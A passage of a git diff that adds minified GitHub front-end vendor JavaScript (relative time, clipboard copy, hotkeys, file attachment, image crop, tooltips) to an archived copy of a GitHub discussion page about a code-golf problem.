r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + 